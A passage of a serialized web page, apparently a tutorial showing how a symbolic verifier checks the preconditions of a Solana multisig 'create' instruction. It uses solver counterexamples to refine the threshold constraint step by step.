32),\n",{"type":24,"tag":90,"props":24814,"children":24815},{"class":92,"line":384},[24816,24821,24825,24830,24835,24839,24843,24848,24853,24858],{"type":24,"tag":90,"props":24817,"children":24818},{"style":114},[24819],{"type":29,"value":24820}," seeds ",{"type":24,"tag":90,"props":24822,"children":24823},{"style":120},[24824],{"type":29,"value":5491},{"type":24,"tag":90,"props":24826,"children":24827},{"style":114},[24828],{"type":29,"value":24829}," [",{"type":24,"tag":90,"props":24831,"children":24832},{"style":1085},[24833],{"type":29,"value":24834},"b\"squad\"",{"type":24,"tag":90,"props":24836,"children":24837},{"style":114},[24838],{"type":29,"value":24664},{"type":24,"tag":90,"props":24840,"children":24841},{"style":120},[24842],{"type":29,"value":226},{"type":24,"tag":90,"props":24844,"children":24845},{"style":114},[24846],{"type":29,"value":24847},"as_ref(), ",{"type":24,"tag":90,"props":24849,"children":24850},{"style":1085},[24851],{"type":29,"value":24852},"b\"multisig\"",{"type":24,"tag":90,"props":24854,"children":24855},{"style":114},[24856],{"type":29,"value":24857},"], ",{"type":24,"tag":90,"props":24859,"children":24860},{"style":136},[24861],{"type":29,"value":24862},"bump\n",{"type":24,"tag":90,"props":24864,"children":24865},{"class":92,"line":420},[24866],{"type":24,"tag":90,"props":24867,"children":24868},{"style":114},[24869],{"type":29,"value":24870}," )]\n",{"type":24,"tag":90,"props":24872,"children":24873},{"class":92,"line":428},[24874,24878,24883,24887,24892,24896,24900,24904,24908],{"type":24,"tag":90,"props":24875,"children":24876},{"style":97},[24877],{"type":29,"value":22639},{"type":24,"tag":90,"props":24879,"children":24880},{"style":136},[24881],{"type":29,"value":24882}," multisig",{"type":24,"tag":90,"props":24884,"children":24885},{"style":120},[24886],{"type":29,"value":78},{"type":24,"tag":90,"props":24888,"children":24889},{"style":146},[24890],{"type":29,"value":24891}," Account",{"type":24,"tag":90,"props":24893,"children":24894},{"style":114},[24895],{"type":29,"value":24719},{"type":24,"tag":90,"props":24897,"children":24898},{"style":146},[24899],{"type":29,"value":24724},{"type":24,"tag":90,"props":24901,"children":24902},{"style":114},[24903],{"type":29,"value":133},{"type":24,"tag":90,"props":24905,"children":24906},{"style":146},[24907],{"type":29,"value":24538},{"type":24,"tag":90,"props":24909,"children":24910},{"style":114},[24911],{"type":29,"value":8523},{"type":24,"tag":90,"props":24913,"children":24914},{"class":92,"line":437},[24915],{"type":24,"tag":90,"props":24916,"children":24917},{"emptyLinePlaceholder":16},[24918],{"type":29,"value":245},{"type":24,"tag":90,"props":24920,"children":24921},{"class":92,"line":574},[24922,24927,24931],{"type":24,"tag":90,"props":24923,"children":24924},{"style":114},[24925],{"type":29,"value":24926}," #[account(",{"type":24,"tag":90,"props":24928,"children":24929},{"style":97},[24930],{"type":29,"value":371},{"type":24,"tag":90,"props":24932,"children":24933},{"style":114},[24934],{"type":29,"value":22054},{"type":24,"tag":90,"props":24936,"children":24937},{"class":92,"line":606},[24938,24942,24947,24951,24956,24960,24964],{"type":24,"tag":90,"props":24939,"children":24940},{"style":97},[24941],{"type":29,"value":22639},{"type":24,"tag":90,"props":24943,"children":24944},{"style":136},[24945],{"type":29,"value":24946}," creator",{"type":24,"tag":90,"props":24948,"children":24949},{"style":120},[24950],{"type":29,"value":78},{"type":24,"tag":90,"props":24952,"children":24953},{"style":146},[24954],{"type":29,"value":24955}," Signer",{"type":24,"tag":90,"props":24957,"children":24958},{"style":114},[24959],{"type":29,"value":24719},{"type":24,"tag":90,"props":24961,"children":24962},{"style":146},[24963],{"type":29,"value":24724},{"type":24,"tag":90,"props":24965,"children":24966},{"style":114},[24967],{"type":29,"value":8523},{"type":24,"tag":90,"props":24969,"children":24970},{"class":92,"line":615},[24971,24975,24980,24984,24989,24993,24997,25001,25006],{"type":24,"tag":90,"props":24972,"children":24973},{"style":97},[24974],{"type":29,"value":22639},{"type":24,"tag":90,"props":24976,"children":24977},{"style":136},[24978],{"type":29,"value":24979}," system_program",{"type":24,"tag":90,"props":24981,"children":24982},{"style":120},[24983],{"type":29,"value":78},{"type":24,"tag":90,"props":24985,"children":24986},{"style":146},[24987],{"type":29,"value":24988}," Program",{"type":24,"tag":90,"props":24990,"children":24991},{"style":114},[24992],{"type":29,"value":24719},{"type":24,"tag":90,"props":24994,"children":24995},{"style":146},[24996],{"type":29,"value":24724},{"type":24,"tag":90,"props":24998,"children":24999},{"style":114},[25000],{"type":29,"value":133},{"type":24,"tag":90,"props":25002,"children":25003},{"style":146},[25004],{"type":29,"value":25005},"System",{"type":24,"tag":90,"props":25007,"children":25008},{"style":114},[25009],{"type":29,"value":8523},{"type":24,"tag":90,"props":25011,"children":25012},{"class":92,"line":623},[25013],{"type":24,"tag":90,"props":25014,"children":25015},{"style":114},[25016],{"type":29,"value":827},{"type":24,"tag":90,"props":25018,"children":25019},{"class":92,"line":632},[25020],{"type":24,"tag":90,"props":25021,"children":25022},{"emptyLinePlaceholder":16},[25023],{"type":29,"value":245},{"type":24,"tag":90,"props":25025,"children":25026},{"class":92,"line":669},[25027,25031,25035,25039],{"type":24,"tag":90,"props":25028,"children":25029},{"style":97},[25030],{"type":29,"value":100},{"type":24,"tag":90,"props":25032,"children":25033},{"style":97},[25034],{"type":29,"value":105},{"type":24,"tag":90,"props":25036,"children":25037},{"style":108},[25038],{"type":29,"value":9495},{"type":24,"tag":90,"props":25040,"children":25041},{"style":114},[25042],{"type":29,"value":680},{"type":24,"tag":90,"props":25044,"children":25045},{"class":92,"line":683},[25046,25050,25054,25058,25062,25067],{"type":24,"tag":90,"props":25047,"children":25048},{"style":136},[25049],{"type":29,"value":22019},{"type":24,"tag":90,"props":25051,"children":25052},{"style":120},[25053],{"type":29,"value":78},{"type":24,"tag":90,"props":25055,"children":25056},{"style":146},[25057],{"type":29,"value":22085},{"type":24,"tag":90,"props":25059,"children":25060},{"style":114},[25061],{"type":29,"value":1575},{"type":24,"tag":90,"props":25063,"children":25064},{"style":146},[25065],{"type":29,"value":25066},"Create",{"type":24,"tag":90,"props":25068,"children":25069},{"style":114},[25070],{"type":29,"value":8523},{"type":24,"tag":90,"props":25072,"children":25073},{"class":92,"line":737},[25074,25079,25083,25087],{"type":24,"tag":90,"props":25075,"children":25076},{"style":136},[25077],{"type":29,"value":25078}," threshold",{"type":24,"tag":90,"props":25080,"children":25081},{"style":120},[25082],{"type":29,"value":78},{"type":24,"tag":90,"props":25084,"children":25085},{"style":146},[25086],{"type":29,"value":22826},{"type":24,"tag":90,"props":25088,"children":25089},{"style":114},[25090],{"type":29,"value":748},{"type":24,"tag":90,"props":25092,"children":25093},{"class":92,"line":751},[25094,25099,25103,25107],{"type":24,"tag":90,"props":25095,"children":25096},{"style":136},[25097],{"type":29,"value":25098}," create_key",{"type":24,"tag":90,"props":25100,"children":25101},{"style":120},[25102],{"type":29,"value":78},{"type":24,"tag":90,"props":25104,"children":25105},{"style":146},[25106],{"type":29,"value":22653},{"type":24,"tag":90,"props":25108,"children":25109},{"style":114},[25110],{"type":29,"value":748},{"type":24,"tag":90,"props":25112,"children":25113},{"class":92,"line":782},[25114,25119,25123,25127,25131,25135],{"type":24,"tag":90,"props":25115,"children":25116},{"style":136},[25117],{"type":29,"value":25118}," members",{"type":24,"tag":90,"props":25120,"children":25121},{"style":120},[25122],{"type":29,"value":78},{"type":24,"tag":90,"props":25124,"children":25125},{"style":146},[25126],{"type":29,"value":23185},{"type":24,"tag":90,"props":25128,"children":25129},{"style":114},[25130],{"type":29,"value":1575},{"type":24,"tag":90,"props":25132,"children":25133},{"style":146},[25134],{"type":29,"value":23194},{"type":24,"tag":90,"props":25136,"children":25137},{"style":114},[25138],{"type":29,"value":8523},{"type":24,"tag":90,"props":25140,"children":25141},{"class":92,"line":791},[25142,25146,25150,25154],{"type":24,"tag":90,"props":25143,"children":25144},{"style":114},[25145],{"type":29,"value":172},{"type":24,"tag":90,"props":25147,"children":25148},{"style":120},[25149],{"type":29,"value":177},{"type":24,"tag":90,"props":25151,"children":25152},{"style":146},[25153],{"type":29,"value":182},{"type":24,"tag":90,"props":25155,"children":25156},{"style":114},[25157],{"type":29,"value":22127},{"type":24,"tag":90,"props":25159,"children":25160},{"class":92,"line":799},[25161],{"type":24,"tag":90,"props":25162,"children":25163},{"style":252},[25164],{"type":29,"value":25165}," // sort the members and remove duplicates\n",{"type":24,"tag":90,"props":25167,"children":25168},{"class":92,"line":807},[25169,25173,25177,25182,25186,25190],{"type":24,"tag":90,"props":25170,"children":25171},{"style":97},[25172],{"type":29,"value":206},{"type":24,"tag":90,"props":25174,"children":25175},{"style":97},[25176],{"type":29,"value":4653},{"type":24,"tag":90,"props":25178,"children":25179},{"style":136},[25180],{"type":29,"value":25181}," members",{"type":24,"tag":90,"props":25183,"children":25184},{"style":120},[25185],{"type":29,"value":216},{"type":24,"tag":90,"props":25187,"children":25188},{"style":136},[25189],{"type":29,"value":25181},{"type":24,"tag":90,"props":25191,"children":25192},{"style":114},[25193],{"type":29,"value":381},{"type":24,"tag":90,"props":25195,"children":25196},{"class":92,"line":821},[25197,25201,25205,25210],{"type":24,"tag":90,"props":25198,"children":25199},{"style":136},[25200],{"type":29,"value":25118},{"type":24,"tag":90,"props":25202,"children":25203},{"style":120},[25204],{"type":29,"value":226},{"type":24,"tag":90,"props":25206,"children":25207},{"style":108},[25208],{"type":29,"value":25209},"sort",{"type":24,"tag":90,"props":25211,"children":25212},{"style":114},[25213],{"type":29,"value":236},{"type":24,"tag":90,"props":25215,"children":25216},{"class":92,"line":6278},[25217,25221,25225,25230],{"type":24,"tag":90,"props":25218,"children":25219},{"style":136},[25220],{"type":29,"value":25118},{"type":24,"tag":90,"props":25222,"children":25223},{"style":120},[25224],{"type":29,"value":226},{"type":24,"tag":90,"props":25226,"children":25227},{"style":108},[25228],{"type":29,"value":25229},"dedup",{"type":24,"tag":90,"props":25231,"children":25232},{"style":114},[25233],{"type":29,"value":236},{"type":24,"tag":90,"props":25235,"children":25236},{"class":92,"line":11420},[25237],{"type":24,"tag":90,"props":25238,"children":25239},{"emptyLinePlaceholder":16},[25240],{"type":29,"value":245},{"type":24,"tag":90,"props":25242,"children":25243},{"class":92,"line":11438},[25244],{"type":24,"tag":90,"props":25245,"children":25246},{"style":252},[25247],{"type":29,"value":25248}," // check we don't exceed u16\n",{"type":24,"tag":90,"props":25250,"children":25251},{"class":92,"line":11483},[25252,25256,25261,25265,25269,25273,25277],{"type":24,"tag":90,"props":25253,"children":25254},{"style":97},[25255],{"type":29,"value":206},{"type":24,"tag":90,"props":25257,"children":25258},{"style":136},[25259],{"type":29,"value":25260}," total_members",{"type":24,"tag":90,"props":25262,"children":25263},{"style":120},[25264],{"type":29,"value":216},{"type":24,"tag":90,"props":25266,"children":25267},{"style":136},[25268],{"type":29,"value":25181},{"type":24,"tag":90,"props":25270,"children":25271},{"style":120},[25272],{"type":29,"value":226},{"type":24,"tag":90,"props":25274,"children":25275},{"style":108},[25276],{"type":29,"value":11513},{"type":24,"tag":90,"props":25278,"children":25279},{"style":114},[25280],{"type":29,"value":236},{"type":24,"tag":90,"props":25282,"children":25283},{"class":92,"line":11589},[25284,25288,25292,25296,25300],{"type":24,"tag":90,"props":25285,"children":25286},{"style":636},[25287],{"type":29,"value":639},{"type":24,"tag":90,"props":25289,"children":25290},{"style":136},[25291],{"type":29,"value":25260},{"type":24,"tag":90,"props":25293,"children":25294},{"style":120},[25295],{"type":29,"value":11095},{"type":24,"tag":90,"props":25297,"children":25298},{"style":349},[25299],{"type":29,"value":6909},{"type":24,"tag":90,"props":25301,"children":25302},{"style":114},[25303],{"type":29,"value":269},{"type":24,"tag":90,"props":25305,"children":25307},{"class":92,"line":25306},31,[25308,25312,25317,25321,25326,25330,25335],{"type":24,"tag":90,"props":25309,"children":25310},{"style":636},[25311],{"type":29,"value":2253},{"type":24,"tag":90,"props":25313,"children":25314},{"style":108},[25315],{"type":29,"value":25316}," err!",{"type":24,"tag":90,"props":25318,"children":25319},{"style":114},[25320],{"type":29,"value":117},{"type":24,"tag":90,"props":25322,"children":25323},{"style":146},[25324],{"type":29,"value":25325},"MsError",{"type":24,"tag":90,"props":25327,"children":25328},{"style":120},[25329],{"type":29,"value":1211},{"type":24,"tag":90,"props":25331,"children":25332},{"style":146},[25333],{"type":29,"value":25334},"EmptyMembers",{"type":24,"tag":90,"props":25336,"children":25337},{"style":114},[25338],{"type":29,"value":571},{"type":24,"tag":90,"props":25340,"children":25342},{"class":92,"line":25341},32,[25343],{"type":24,"tag":90,"props":25344,"children":25345},{"style":114},[25346],{"type":29,"value":612},{"type":24,"tag":90,"props":25348,"children":25350},{"class":92,"line":25349},33,[25351],{"type":24,"tag":90,"props":25352,"children":25353},{"emptyLinePlaceholder":16},[25354],{"type":29,"value":245},{"type":24,"tag":90,"props":25356,"children":25358},{"class":92,"line":25357},34,[25359],{"type":24,"tag":90,"props":25360,"children":25361},{"style":252},[25362],{"type":29,"value":25363}," // make sure we don't exceed u16 on first call\n",{"type":24,"tag":90,"props":25365,"children":25367},{"class":92,"line":25366},35,[25368,25372,25376,25380,25384,25388,25392,25397,25401],{"type":24,"tag":90,"props":25369,"children":25370},{"style":636},[25371],{"type":29,"value":639},{"type":24,"tag":90,"props":25373,"children":25374},{"style":136},[25375],{"type":29,"value":25260},{"type":24,"tag":90,"props":25377,"children":25378},{"style":120},[25379],{"type":29,"value":658},{"type":24,"tag":90,"props":25381,"children":25382},{"style":146},[25383],{"type":29,"value":149},{"type":24,"tag":90,"props":25385,"children":25386},{"style":120},[25387],{"type":29,"value":1211},{"type":24,"tag":90,"props":25389,"children":25390},{"style":108},[25391],{"type":29,"value":21268},{"type":24,"tag":90,"props":25393,"children":25394},{"style":114},[25395],{"type":29,"value":25396},"(u16",{"type":24,"tag":90,"props":25398,"children":25399},{"style":120},[25400],{"type":29,"value":1211},{"type":24,"tag":90,"props":25402,"children":25403},{"style":114},[25404],{"type":29,"value":25405},"MAX) {\n",{"type":24,"tag":90,"props":25407,"children":25409},{"class":92,"line":25408},36,[25410,25414,25418,25422,25426,25430,25435],{"type":24,"tag":90,"props":25411,"children":25412},{"style":636},[25413],{"type":29,"value":2253},{"type":24,"tag":90,"props":25415,"children":25416},{"style":108},[25417],{"type":29,"value":25316},{"type":24,"tag":90,"props":25419,"children":25420},{"style":114},[25421],{"type":29,"value":117},{"type":24,"tag":90,"props":25423,"children":25424},{"style":146},[25425],{"type":29,"value":25325},{"type":24,"tag":90,"props":25427,"children":25428},{"style":120},[25429],{"type":29,"value":1211},{"type":24,"tag":90,"props":25431,"children":25432},{"style":146},[25433],{"type":29,"value":25434},"MaxMembersReached",{"type":24,"tag":90,"props":25436,"children":25437},{"style":114},[25438],{"type":29,"value":571},{"type":24,"tag":90,"props":25440,"children":25442},{"class":92,"line":25441},37,[25443],{"type":24,"tag":90,"props":25444,"children":25445},{"style":114},[25446],{"type":29,"value":612},{"type":24,"tag":90,"props":25448,"children":25450},{"class":92,"line":25449},38,[25451],{"type":24,"tag":90,"props":25452,"children":25453},{"emptyLinePlaceholder":16},[25454],{"type":29,"value":245},{"type":24,"tag":90,"props":25456,"children":25458},{"class":92,"line":25457},39,[25459],{"type":24,"tag":90,"props":25460,"children":25461},{"style":252},[25462],{"type":29,"value":25463}," // make sure threshold is valid\n",{"type":24,"tag":90,"props":25465,"children":25467},{"class":92,"line":25466},40,[25468,25472,25476,25480,25484,25488,25492,25497,25501,25506,25510,25514,25518,25522,25526,25531,25536],{"type":24,"tag":90,"props":25469,"children":25470},{"style":636},[25471],{"type":29,"value":639},{"type":24,"tag":90,"props":25473,"children":25474},{"style":146},[25475],{"type":29,"value":149},{"type":24,"tag":90,"props":25477,"children":25478},{"style":120},[25479],{"type":29,"value":1211},{"type":24,"tag":90,"props":25481,"children":25482},{"style":108},[25483],{"type":29,"value":21268},{"type":24,"tag":90,"props":25485,"children":25486},{"style":114},[25487],{"type":29,"value":117},{"type":24,"tag":90,"props":25489,"children":25490},{"style":136},[25491],{"type":29,"value":24546},{"type":24,"tag":90,"props":25493,"children":25494},{"style":114},[25495],{"type":29,"value":25496},") \u003C ",{"type":24,"tag":90,"props":25498,"children":25499},{"style":349},[25500],{"type":29,"value":534},{"type":24,"tag":90,"props":25502,"children":25503},{"style":120},[25504],{"type":29,"value":25505}," ||",{"type":24,"tag":90,"props":25507,"children":25508},{"style":146},[25509],{"type":29,"value":149},{"type":24,"tag":90,"props":25511,"children":25512},{"style":120},[25513],{"type":29,"value":1211},{"type":24,"tag":90,"props":25515,"children":25516},{"style":108},[25517],{"type":29,"value":21268},{"type":24,"tag":90,"props":25519,"children":25520},{"style":114},[25521],{"type":29,"value":117},{"type":24,"tag":90,"props":25523,"children":25524},{"style":136},[25525],{"type":29,"value":24546},{"type":24,"tag":90,"props":25527,"children":25528},{"style":114},[25529],{"type":29,"value":25530},") > ",{"type":24,"tag":90,"props":25532,"children":25533},{"style":136},[25534],{"type":29,"value":25535},"total_members",{"type":24,"tag":90,"props":25537,"children":25538},{"style":114},[25539],{"type":29,"value":269},{"type":24,"tag":90,"props":25541,"children":25543},{"class":92,"line":25542},41,[25544,25548,25552,25556,25560,25564,25569],{"type":24,"tag":90,"props":25545,"children":25546},{"style":636},[25547],{"type":29,"value":2253},{"type":24,"tag":90,"props":25549,"children":25550},{"style":108},[25551],{"type":29,"value":25316},{"type":24,"tag":90,"props":25553,"children":25554},{"style":114},[25555],{"type":29,"value":117},{"type":24,"tag":90,"props":25557,"children":25558},{"style":146},[25559],{"type":29,"value":25325},{"type":24,"tag":90,"props":25561,"children":25562},{"style":120},[25563],{"type":29,"value":1211},{"type":24,"tag":90,"props":25565,"children":25566},{"style":146},[25567],{"type":29,"value":25568},"InvalidThreshold",{"type":24,"tag":90,"props":25570,"children":25571},{"style":114},[25572],{"type":29,"value":571},{"type":24,"tag":90,"props":25574,"children":25576},{"class":92,"line":25575},42,[25577],{"type":24,"tag":90,"props":25578,"children":25579},{"style":114},[25580],{"type":29,"value":612},{"type":24,"tag":90,"props":25582,"children":25584},{"class":92,"line":25583},43,[25585],{"type":24,"tag":90,"props":25586,"children":25587},{"emptyLinePlaceholder":16},[25588],{"type":29,"value":245},{"type":24,"tag":90,"props":25590,"children":25592},{"class":92,"line":25591},44,[25593,25597,25601,25605,25609,25614,25618,25622],{"type":24,"tag":90,"props":25594,"children":25595},{"style":136},[25596],{"type":29,"value":22019},{"type":24,"tag":90,"props":25598,"children":25599},{"style":120},[25600],{"type":29,"value":226},{"type":24,"tag":90,"props":25602,"children":25603},{"style":114},[25604],{"type":29,"value":1165},{"type":24,"tag":90,"props":25606,"children":25607},{"style":120},[25608],{"type":29,"value":226},{"type":24,"tag":90,"props":25610,"children":25611},{"style":114},[25612],{"type":29,"value":25613},"multisig",{"type":24,"tag":90,"props":25615,"children":25616},{"style":120},[25617],{"type":29,"value":226},{"type":24,"tag":90,"props":25619,"children":25620},{"style":108},[25621],{"type":29,"value":22536},{"type":24,"tag":90,"props":25623,"children":25624},{"style":114},[25625],{"type":29,"value":680},{"type":24,"tag":90,"props":25627,"children":25629},{"class":92,"line":25628},45,[25630,25635],{"type":24,"tag":90,"props":25631,"children":25632},{"style":136},[25633],{"type":29,"value":25634}," threshold",{"type":24,"tag":90,"props":25636,"children":25637},{"style":114},[25638],{"type":29,"value":748},{"type":24,"tag":90,"props":25640,"children":25642},{"class":92,"line":25641},46,[25643,25648],{"type":24,"tag":90,"props":25644,"children":25645},{"style":136},[25646],{"type":29,"value":25647}," create_key",{"type":24,"tag":90,"props":25649,"children":25650},{"style":114},[25651],{"type":29,"value":748},{"type":24,"tag":90,"props":25653,"children":25655},{"class":92,"line":25654},47,[25656,25661],{"type":24,"tag":90,"props":25657,"children":25658},{"style":136},[25659],{"type":29,"value":25660}," members",{"type":24,"tag":90,"props":25662,"children":25663},{"style":114},[25664],{"type":29,"value":748},{"type":24,"tag":90,"props":25666,"children":25668},{"class":92,"line":25667},48,[25669,25673,25677,25681,25686,25690,25694,25698,25703,25707,25711,25715],{"type":24,"tag":90,"props":25670,"children":25671},{"style":120},[25672],{"type":29,"value":390},{"type":24,"tag":90,"props":25674,"children":25675},{"style":136},[25676],{"type":29,"value":22076},{"type":24,"tag":90,"props":25678,"children":25679},{"style":120},[25680],{"type":29,"value":226},{"type":24,"tag":90,"props":25682,"children":25683},{"style":114},[25684],{"type":29,"value":25685},"bumps",{"type":24,"tag":90,"props":25687,"children":25688},{"style":120},[25689],{"type":29,"value":226},{"type":24,"tag":90,"props":25691,"children":25692},{"style":108},[25693],{"type":29,"value":2862},{"type":24,"tag":90,"props":25695,"children":25696},{"style":114},[25697],{"type":29,"value":117},{"type":24,"tag":90,"props":25699,"children":25700},{"style":1085},[25701],{"type":29,"value":25702},"\"multisig\"",{"type":24,"tag":90,"props":25704,"children":25705},{"style":114},[25706],{"type":29,"value":517},{"type":24,"tag":90,"props":25708,"children":25709},{"style":120},[25710],{"type":29,"value":226},{"type":24,"tag":90,"props":25712,"children":25713},{"style":108},[25714],{"type":29,"value":6053},{"type":24,"tag":90,"props":25716,"children":25717},{"style":114},[25718],{"type":29,"value":1384},{"type":24,"tag":90,"props":25720,"children":25722},{"class":92,"line":25721},49,[25723],{"type":24,"tag":90,"props":25724,"children":25725},{"style":114},[25726],{"type":29,"value":25727}," )\n",{"type":24,"tag":90,"props":25729,"children":25731},{"class":92,"line":25730},50,[25732],{"type":24,"tag":90,"props":25733,"children":25734},{"style":114},[25735],{"type":29,"value":827},{"type":24,"tag":25,"props":25737,"children":25738},{},[25739,25741,25746,25748,25753],{"type":29,"value":25740},"We can start by testing an empty ",{"type":24,"tag":32,"props":25742,"children":25744},{"className":25743},[],[25745],{"type":29,"value":21950},{"type":29,"value":25747}," (this will default to ",{"type":24,"tag":32,"props":25749,"children":25751},{"className":25750},[],[25752],{"type":29,"value":6380},{"type":29,"value":25754},"):",{"type":24,"tag":80,"props":25756,"children":25758},{"code":25757,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[25759],{"type":24,"tag":32,"props":25760,"children":25761},{"__ignoreMap":7},[25762,25770],{"type":24,"tag":90,"props":25763,"children":25764},{"class":92,"line":93},[25765],{"type":24,"tag":90,"props":25766,"children":25767},{"style":114},[25768],{"type":29,"value":25769},"#[succeeds_if()]\n",{"type":24,"tag":90,"props":25771,"children":25772},{"class":92,"line":200},[25773,25777,25781,25785,25789,25793,25798,25802],{"type":24,"tag":90,"props":25774,"children":25775},{"style":97},[25776],{"type":29,"value":100},{"type":24,"tag":90,"props":25778,"children":25779},{"style":97},[25780],{"type":29,"value":105},{"type":24,"tag":90,"props":25782,"children":25783},{"style":108},[25784],{"type":29,"value":9495},{"type":24,"tag":90,"props":25786,"children":25787},{"style":114},[25788],{"type":29,"value":117},{"type":24,"tag":90,"props":25790,"children":25791},{"style":120},[25792],{"type":29,"value":3013},{"type":24,"tag":90,"props":25794,"children":25795},{"style":114},[25796],{"type":29,"value":25797},") { ",{"type":24,"tag":90,"props":25799,"children":25800},{"style":120},[25801],{"type":29,"value":3013},{"type":24,"tag":90,"props":25803,"children":25804},{"style":114},[25805],{"type":29,"value":11967},{"type":24,"tag":25,"props":25807,"children":25808},{},[25809],{"type":29,"value":25810},"Running the solver, we get:",{"type":24,"tag":80,"props":25812,"children":25814},{"code":25813},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[25815],{"type":24,"tag":32,"props":25816,"children":25817},{"__ignoreMap":7},[25818],{"type":29,"value":25813},{"type":24,"tag":25,"props":25820,"children":25821},{},[25822,25824,25829],{"type":29,"value":25823},"This means that ",{"type":24,"tag":32,"props":25825,"children":25827},{"className":25826},[],[25828],{"type":29,"value":6380},{"type":29,"value":25830}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":24,"tag":25,"props":25832,"children":25833},{},[25834],{"type":29,"value":25835},"We can ask the solver to produce a counterexample:",{"type":24,"tag":80,"props":25837,"children":25839},{"code":25838},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[25840],{"type":24,"tag":32,"props":25841,"children":25842},{"__ignoreMap":7},[25843],{"type":29,"value":25838},{"type":24,"tag":25,"props":25845,"children":25846},{},[25847],{"type":29,"value":25848},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":24,"tag":25,"props":25850,"children":25851},{},[25852],{"type":24,"tag":842,"props":25853,"children":25854},{},[25855,25857,25863],{"type":29,"value":25856},"Note also that the verifier decided to use a ",{"type":24,"tag":32,"props":25858,"children":25860},{"className":25859},[],[25861],{"type":29,"value":25862},"SparseVec",{"type":29,"value":25864}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":24,"tag":25,"props":25866,"children":25867},{},[25868],{"type":24,"tag":842,"props":25869,"children":25870},{},[25871,25873,25878,25879,25885,25887,25892,25894,25899],{"type":29,"value":25872},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":24,"tag":32,"props":25874,"children":25876},{"className":25875},[],[25877],{"type":29,"value":1884},{"type":29,"value":13360},{"type":24,"tag":32,"props":25880,"children":25882},{"className":25881},[],[25883],{"type":29,"value":25884},"pop",{"type":29,"value":25886}," are stubbed out to simply panic for the ",{"type":24,"tag":32,"props":25888,"children":25890},{"className":25889},[],[25891],{"type":29,"value":25862},{"type":29,"value":25893}," and if this code tried to do that we would fall back to the concrete ",{"type":24,"tag":32,"props":25895,"children":25897},{"className":25896},[],[25898],{"type":29,"value":3732},{"type":29,"value":25900}," type.",{"type":24,"tag":25,"props":25902,"children":25903},{},[25904],{"type":29,"value":25905},"We can add this to our constraint and try again:",{"type":24,"tag":80,"props":25907,"children":25909},{"code":25908,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[25910],{"type":24,"tag":32,"props":25911,"children":25912},{"__ignoreMap":7},[25913,25921,25958,25965],{"type":24,"tag":90,"props":25914,"children":25915},{"class":92,"line":93},[25916],{"type":24,"tag":90,"props":25917,"children":25918},{"style":114},[25919],{"type":29,"value":25920},"#[succeeds_if(\n",{"type":24,"tag":90,"props":25922,"children":25923},{"class":92,"line":200},[25924,25929,25933,25937,25941,25945,25949,25953],{"type":24,"tag":90,"props":25925,"children":25926},{"style":114},[25927],{"type":29,"value":25928}," (threshold ",{"type":24,"tag":90,"props":25930,"children":25931},{"style":97},[25932],{"type":29,"value":361},{"type":24,"tag":90,"props":25934,"children":25935},{"style":146},[25936],{"type":29,"value":149},{"type":24,"tag":90,"props":25938,"children":25939},{"style":114},[25940],{"type":29,"value":172},{"type":24,"tag":90,"props":25942,"children":25943},{"style":120},[25944],{"type":29,"value":21209},{"type":24,"tag":90,"props":25946,"children":25947},{"style":114},[25948],{"type":29,"value":25181},{"type":24,"tag":90,"props":25950,"children":25951},{"style":120},[25952],{"type":29,"value":226},{"type":24,"tag":90,"props":25954,"children":25955},{"style":114},[25956],{"type":29,"value":25957},"len()\n",{"type":24,"tag":90,"props":25959,"children":25960},{"class":92,"line":239},[25961],{"type":24,"tag":90,"props":25962,"children":25963},{"style":114},[25964],{"type":29,"value":22054},{"type":24,"tag":90,"props":25966,"children":25967},{"class":92,"line":248},[25968,25972,25976,25980,25984,25988,25992,25996],{"type":24,"tag":90,"props":25969,"children":25970},{"style":97},[25971],{"type":29,"value":100},{"type":24,"tag":90,"props":25973,"children":25974},{"style":97},[25975],{"type":29,"value":105},{"type":24,"tag":90,"props":25977,"children":25978},{"style":108},[25979],{"type":29,"value":9495},{"type":24,"tag":90,"props":25981,"children":25982},{"style":114},[25983],{"type":29,"value":117},{"type":24,"tag":90,"props":25985,"children":25986},{"style":120},[25987],{"type":29,"value":3013},{"type":24,"tag":90,"props":25989,"children":25990},{"style":114},[25991],{"type":29,"value":25797},{"type":24,"tag":90,"props":25993,"children":25994},{"style":120},[25995],{"type":29,"value":3013},{"type":24,"tag":90,"props":25997,"children":25998},{"style":114},[25999],{"type":29,"value":11967},{"type":24,"tag":25,"props":26001,"children":26002},{},[26003],{"type":29,"value":26004},"Verification failed again! This time we get a different counterexample:",{"type":24,"tag":80,"props":26006,"children":26008},{"code":26007},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26009],{"type":24,"tag":32,"props":26010,"children":26011},{"__ignoreMap":7},[26012],{"type":29,"value":26007},{"type":24,"tag":25,"props":26014,"children":26015},{},[26016],{"type":29,"value":26017},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":24,"tag":80,"props":26019,"children":26021},{"code":26020,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... 